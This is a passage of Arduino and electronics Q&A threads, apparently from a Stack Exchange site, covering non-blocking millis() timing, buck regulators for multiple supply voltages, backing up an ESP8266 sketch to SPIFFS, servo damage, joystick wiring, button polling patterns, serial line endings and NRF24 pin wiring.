   if (buttonState == LOW)
  {
    digitalWrite(rly, LOW); // relay off
    digitalWrite(led, LOW); // led off
    delay(500);
   Servo1.write(0);     // Make servo go to 0 degrees
   delay(1000);
    noTone(bz); // buzzer off

  }
  }

Your delays are making the program jerky, so you have to get rid of them. :)
I have a lengthy discussion about this on my own web site, but basically you need to restructure so that you use a "state machine" and instead of delaying, make a note of the current time (using millis() function) and then do the next step when the time is up.
Just as an example, when you bake a cake you don't stop what you are doing for an hour and stare at the oven while it cooks, do you? You make a note of the time, and come back when the time is up.
One of the Arduino tutorials Blink without delay has an example of doing that.
The example code is (initial comments removed):
// constants won't change. Used here to set a pin number:
const int ledPin =  LED_BUILTIN;// the number of the LED pin

// Variables will change:
int ledState = LOW;             // ledState used to set the LED

// Generally, you should use "unsigned long" for variables that hold time
// The value will quickly become too large for an int to store
unsigned long previousMillis = 0;        // will store last time LED was updated

// constants won't change:
const long interval = 1000;           // interval at which to blink (milliseconds)

void setup() {
  // set the digital pin as output:
  pinMode(ledPin, OUTPUT);
}

void loop() {
  // here is where you'd put code that needs to be running all the time.

  // check to see if it's time to blink the LED; that is, if the difference
  // between the current time and last time you blinked the LED is bigger than
  // the interval at which you want to blink the LED.
  unsigned long currentMillis = millis();

  if (currentMillis - previousMillis >= interval) {
    // save the last time you blinked the LED
    previousMillis = currentMillis;

    // if the LED is off turn it on and vice-versa:
    if (ledState == LOW) {
      ledState = HIGH;
    } else {
      ledState = LOW;
    }

    // set the LED with the ledState of the variable:
    digitalWrite(ledPin, ledState);
  }
}

This won't be a one-line change. You have to re-think how you go about handling time delays.


How to produce multiple DC voltages for a single project So the title pretty much says it all, but for an example, I have an arduino board, 5-12 V, an LED bank 18 V, and an ultrasonic mister 24 V.

I know some brute force methods to power them from one outlet, but I was wondering if there is a more elegant way to get the voltage for each device with only one transformer instead of three. The solutions I've come up with are less than elegant, and only moderately compact.

I was just wondering what solutions you guys have employed and hoped I could find something helpful.

First you want to take a regulated 24V supply. To that you want to add a switch-mode ("Buck") regulator to drop you down to 5V.  You don't want to try using an LDO for this unless you are happy to have a heat sink the size of a small car. A good cheap choice is a "UBEC" that can take 24V in and give 5V out (I use these).

That 5V can then be fed direct into the Arduino.

Depending on what the "LED bank" is you may get away with an 18V (or adjustable) LDO, or an adjustable buck regulator. Or a simple (though high wattage) resistor may be all that is needed. You will have to provide more detail on this to get more help.


Reading contents of ESP8266 Flash from inside sketch I am aware that there is a way to create a dump of the flash via esptool, but is there a way to read the contents of the sketch (just the sketch, not the full flash or SPIFFS) memory via the sketch itself? As in, have a program on the ESP8266 able to read its own machine code from the flash to do something with? I do not need write access, just read access.

I would like to be able to create a backup of the current sketch in SPIFFS so that it is possible to revert a bad sketch so long as the reversion trigger isn't broken. (For example, if a later part of the boot process is messed up, or if a function acts slightly wrong, a button could be held, and it would restore from the saved image. The restore process is something that I've figured out from my previous question, but I would like a way to write the sketch to SPIFFS that does not require a separate manual upload or a wrapper around the OTA process.)

[edit:]
Thank you for the comments.

I have created this code that SHOULD have copied the sketch to SPIFFS. However, it does not seem to have done so properly (since the result does not have the same checksums as the original file, and attempts to write it yield a nonfunctional device). Can I have someone look over it and see if they can figure out why?

unsigned long addr = 0;
unsigned long rem = ESP.getSketchSize();
uint32_t *data = new uint32_t[SPI_FLASH_SEC_SIZE];
File f = SPIFFS.open("/fw.bin", "w");
while (rem > 0) {
  ESP.flashRead(addr, data, SPI_FLASH_SEC_SIZE);
  int sz = SPI_FLASH_SEC_SIZE * sizeof(uint32_t);
  if (rem < sz)
    sz = rem;
  f.write(reinterpret_cast<uint8_t *>(&data[addr]), sz);
  addr += SPI_FLASH_SEC_SIZE;
  rem -= sz;
  yield();
  Serial.println(rem);
}
f.flush();
f.close();

I think you're reading of flash is slightly wrong

while ESP.flashRead takes a unit32_t pointer for output data, the read "count" argument is in bytes - looking at Updater.cpp code it does this

uint8_t buff[128];
for(int i = 0; i < binSize; i += sizeof(buff)) {
  ESP.flashRead(_startAddress + i, (uint32_t *)buff, sizeof(buff));
  .....
}

so, the the address and count are in bytes - given that SPI_FLASH_SEC_SIZE is 0x1000 or 4096, your code is doing the following

reading 4096 bytes into a 16384 buffer
writing 16384 bytes (so the last 12288 bytes are zero, or random, not sure)
adding 4096 to the address
subtracting 16384 from size
repeat until all read

So, the written size will be correct, but the data will be three quarters wrong :p

Therefore, your code should be

unsigned long addr = 0;
unsigned long rem = ESP.getSketchSize();
uint8_t *data = new uint8_t[SPI_FLASH_SEC_SIZE];
int sz = SPI_FLASH_SEC_SIZE;
File f = SPIFFS.open("/fw.bin", "w");

while (rem > 0) {
    ESP.flashRead(addr, (uint32_t *)data, SPI_FLASH_SEC_SIZE);
    if (rem < sz)
        sz = rem;
    f.write(data, sz);
    addr += SPI_FLASH_SEC_SIZE;
    rem -= sz;
    yield();
    Serial.println(rem);
}

f.flush();
f.close();


Keep 5V on while sleep with LowPower library Is it possible to keep the 5V on, while putting the Arduino (ATMEGA328P) in sleep more, using LowPower library?

I'm trying to use this HAT:

https://spellfoundry.com/product/sleepy-pi-2-usb-c/

to control the power of my Raspberry Pi. But on top of it, I want to have a second HAT that I want to feed 5V input, event after I shut down Raspberry Pi and put the Arduino to sleep.

If I read the schematics at https://spellfoundry.com/download/sleepy-pi-2-usb-c-schematic/ correctly, you need to draw continuous 5V power from the SUPPLY_5V pin instead of the SUPPLY_EXP_5V pin (the latter seems to be switched via some MOSFETs connected to pin 2 of the ATMEGA328p). Which means that you need to connect the 5V power of your second HAT to JP4 pin 3 on the Sleepy Pi HAT (instead of JP5 pin 3).


The Mysterious Case of the Mostly-Vegetable Servo Story:

I was playing around with my Uno along with a servo.

To my stupidity (or more appropriately: ignorance), I set the voltage to my servo with analogWrite(), rather than servo.write(). It worked for a bit; but once it reached it's limit, it kept trying to move, to no avail.

Realizing what I had done, I pull the power source from my Uno.

Then, I went to change the code, and tested my servo once more.

The servo's casing is transparent (there is a sticker blocking the motor and circuit; but I can see 4 of the gears).

The bottom 2 gears are ticking ever so slightly (and the top 2 even less so), resulting in the propeller to move at most 5 degrees. At this threshold, none of the mentioned gears are ticking, but something is heard (probably a whirring gear not in sight).

At this point, I would've come to the conclusion that a tooth of the third gear had broken.

However, after I pull the power plug and put it back in, it spins (backwards) into it's initial position and begins the process mentioned above again.

Mystery:

Is my servo indeed broken?

What's not functioning correctly?

Can it easily be repaired?

Is my servo indeed broken?

Yes.

  What's not functioning correctly?

As you said, some of the gears must have shifted in some way hindering the smooth mouvement of the servo or making it simply not working correctly.

  Can it easily be repaired?

Well, it depends on you. Do you like repairing EXTREMELY small things? Are you skilled at that. I would say no, because it requires a lot of knowlage on the servo to be able to remove it, fix it, and not to forget, replace it into its original case. Simply buying a new one is quite cheaper and simpler.


How to: Connecting 4-pin Joystick to Arduino board I am completely new at Arduino. I have a joystick:

It is however quite different from all the other joystick-tutorials, as their joysticks have 5 pins, not just 4. So I am quite at loss here. How do I connect it?

If the link that Mark Smith provided is correct, that is a “dual-axis mini xy joystick module PSP 2-Axis Analog Thumb Joystick Module Thumb Joystick for Arduino”, with (as other comments suggested) pins labeled on back of board as GND, X, Y, VCC.

To use it, attach GND to Arduino ground; connect each of X and Y to analog inputs, like A0 ... A7; connect VCC to (typically) 5 V.  Then read results on your analog input lines.

Note, it makes sense to test the device using a DVM beforehand.  Measure resistance from GND to VCC to find out overall resistance, so you can decide if 5 V is appropriate or if you should use a lower voltage.  (For example, if overall resistance is several thousand ohms, 5 V is ok; if only a few hundred, add one or two thousand ohms in series and take analog readings using a 1.1 V reference instead of 5 V reference.)  Also measure resistance from GND to X as you move the thumb control, and from GND to Y.


What design patterns can I use to handle user input and display updating? I've used enough products with embedded microcontrollers and unresponsive UIs to know that it can make or break a product. Even a slight delay or lag between the button presses and the display updating, or button presses being ignored or double counted, can be extremely frustrating.

What design patterns can be used to deal with user input (from buttons) and updating displays without causing these issues?

I currently use the following kind of pattern (this is simplified down to the bare minimum):

#include <Bounce.h>

#define GREEN_LED       6 // Pin for green LED

#define BUTTON_PIN      15 // Pin for button - uses external pull down so active high

#define DISPLAY_REFRESH_INT 100 // How many MS between display updates

Bounce button = Bounce(BUTTON_PIN, 5);

// To signal between the button read and the display update
bool ledState = false;

// Used to keep track of last display update
long displayUpdate = 0;

void setup()
{
    pinMode(GREEN_LED, OUTPUT);
    pinMode(BUTTON_PIN, INPUT);
}

void loop()
{
    // Read the button status
    if (button.update())
    {
        if (button.risingEdge())
        {
            ledState = !ledState;
        }
    }

    // Update the display periodically
    if (millis() - displayUpdate > DISPLAY_REFRESH_INT)
    {
        displayUpdate = millis();

        digitalWrite(GREEN_LED, ledState);
    }

}

What other options are there? Is it ever worth using pin change interrupts to read buttons (if we are not considering battery life!).

The answer depends on exactly how the sketch is meant to respond to the user interaction.

External interrupts
If the interaction depends on responding very accurately to the rising or falling edge of an input event (as in your example), then an external interrupt may be the way to go, if possible.

This is particularly important if the input event might be shorter that the duration of a call to loop(). If that happens, consecutive attempts to poll the input could completely miss the state change. It's quite rare for a user input event to be that short though, unless loop() is quite slow to execute.

External hardware to get help that though, e.g. by having an input which latches until it is read and reset by the microcontroller.

Improving polling frequency
External interrupts often aren't possible (e.g. because the chip only supports a limited number), or they are simply overkill/unnecessary for a given application.

In those cases, it may still be possible to improve the timing precision when using polling. One option is to split up all the different parts of the main loop into separate functions. On each successive iteration of loop(), it will call the next function, and then wrap round to the first. In between each of those functions, it can poll the button. Here's a simple example:

unsigned int g_section = 0;

void setup() { }

void pollButton()
{
    //...
}

void runSection0()
{
    //...
}

void runSection1()
{
    //...
}

void runSection2()
{
    //...
}

void loop()
{
    // Poll the button on every pass:
    pollButton();

    // Execute the next section of the main code:
    switch (g_section)
    {
    case 0: runSection0(); break;
    case 1: runSection1(); break;
    case 2: runSection2(); break;
    }

    // On the next iteration, run the next section:
    if (++g_section > 2) g_section = 0;
}

One important issue with this approach is that it's very difficult to make each of those runSectionX() functions take the same execution time. That can result in the button being polled inconsistently from one iteration to the next. If it's fast enough though, then it shouldn't be too big of a problem.

Display update
Updating a display is unfortunately often quite slow, compared to many other operations. That means you need to be quite careful where you do it. Inside an Interrupt Service Routine often wouldn't be appropriate, as that could introduce other timing issues in your sketch.

Realistically, you'd have to do it in the main loop. If you absolutely have to run it quickly though, then it can be included in the faster polling example I've given above -- i.e. update the display on every iteration, the same as polling. You have to be careful to avoid partial updates though.


Serial Communication, if statement not working #include <SoftwareSerial.h>
SoftwareSerial my (D6,D7); //(Rx,Tx)
String msg;

void setup() {
Serial.begin(115200);
my.begin(9600);
}

void gas()
{

  Serial.println(msg);
  if (msg == "0")
  {
    Serial.println("Gas Leakage !!");
  }
  if(msg == "1") {
    delay(1);
  }
}

void loop() {

  msg = my.readStringUntil('\n');
  gas();
}

//I am using software serial to exchange data from Arduino UNO to NodeMCU, i am receiving the data correctly but the "if statement condition" is not working with it. how can i make the if statement work?

You are using Serial.println() to send the message. That function will add the combination \r\n as line ending to your message, which are the ASCII codes for return carriage and newline.
In your receiving code, you read until \n, so your message now reads "0\r", which is of course not equal to "0". Thus the if condition will never trigger.
When using msg[0] == '0' you are taking the first character out of the string and compare that to the character '0' (especially note the difference between "0", which is a string, and '0', which is a single character). Since you are only using the first character of the string, the \r is out of the picture; you aren't using it.
What to do now?

You could send your message only with the \n character as line ending. For this only use Serial.print() instead of Serial.println() and add the line Serial.print("\n"); directly after you send your message.

You could write your own read-until code and just ditch every occurrence of the \r character.

You can use msg.trim() to remove any white space characters at the start or end of your string, including the \r at the end. Then you can use the code, that you already wrote.

Note, that using Strings on an Arduino is mostly considered evil. Especially if you want to use the code for a longer period or you are using String very often. The memory for a String is allocated dynamically, which can easily lead to heap fragmentation. For a better and longer explanation, look at The Evils of Arduino Strings, a blog entry from Majenko, who is one of our biggest contributors here.


NRF24 CE and CSN connections without I/O pins easily accessible I want 2 Arduinos communicating to each other, but only in one direction.  Arduino A = tx  and Arduino B = rx.

I have this working fine connecting CE and CSN on each NRF24 to pins 4 and 5 on each Arduino and using the nRF24L01 library.  No problem.

Since Arduino A will always ONLY be transmitting and Arduino B will always ONLY be receiving, can I do this with CE and CSN instead:

Arduino A --- put CSN to GND  and put CE to 3.3V
Arduino B --- put CSN to 3.3V and put CE to 3.3V

As to why?  This would simply help me interface the NFR24 to existing custom PCB's I've made which have no easy access to I/O pins.  My PCB's do have easy access to MISO, MOSI, and SCK.

No, you really do need the CE pin for both TX and RX modes.  See the following excerpts from the nRF24L01 datasheet.  They work practically the same for nRF24L01+: